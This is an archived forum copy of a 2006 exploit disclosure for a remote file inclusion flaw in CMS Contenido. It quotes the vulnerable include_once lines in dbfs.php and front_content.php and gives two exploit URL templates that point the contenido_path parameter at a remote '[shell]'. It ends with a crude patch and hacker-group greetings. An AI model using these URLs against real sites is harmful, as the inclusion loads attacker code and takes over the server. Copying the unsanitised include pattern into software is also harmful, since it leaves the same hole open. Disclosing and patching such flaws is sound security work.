PDA

Bekijk Volledige Versie : CMS contenido Remote File Inclusion



CvIr.System@gmail.com
13/10/06, 20:20
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CMS contenido Remote File Inclusion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Affected Software .: CMS contenido
Download..: http://www.contenido.org/opensourcecms/en/index-a-104.html
Risk ..............: high
Found by ..........: CvIr.System
Contact ...........: CvIr.System[at]gmail.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Affected File:
cms/dbfs.php

Vulnerable Code:

include_once ($contenido_path . "includes/startup.php");


Affected File:
cms/front_content.php

include_once ($contenido_path."includes/startup.php");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit:

http://[target]/cms/dbfs.php?contenido_path=[shell]?
http://[target]/cms/front_content.php?contenido_path=[shell]?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Fixed bug:

if(isset($_GET['contenido_path']))
{
echo "Fixed bug by CvIr.System";
exit;
}

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Special GreetingS:_ANtrAX_|Azrael|her0|Matasanos|Ednux|4ur 3v0ir|FR34K|Hanowars|Bacan|xarnuz|Slappter|mnox|Zi ckox|Txis|The Shredder|FaLeNcE|Darkness-Mx| www.c-group.org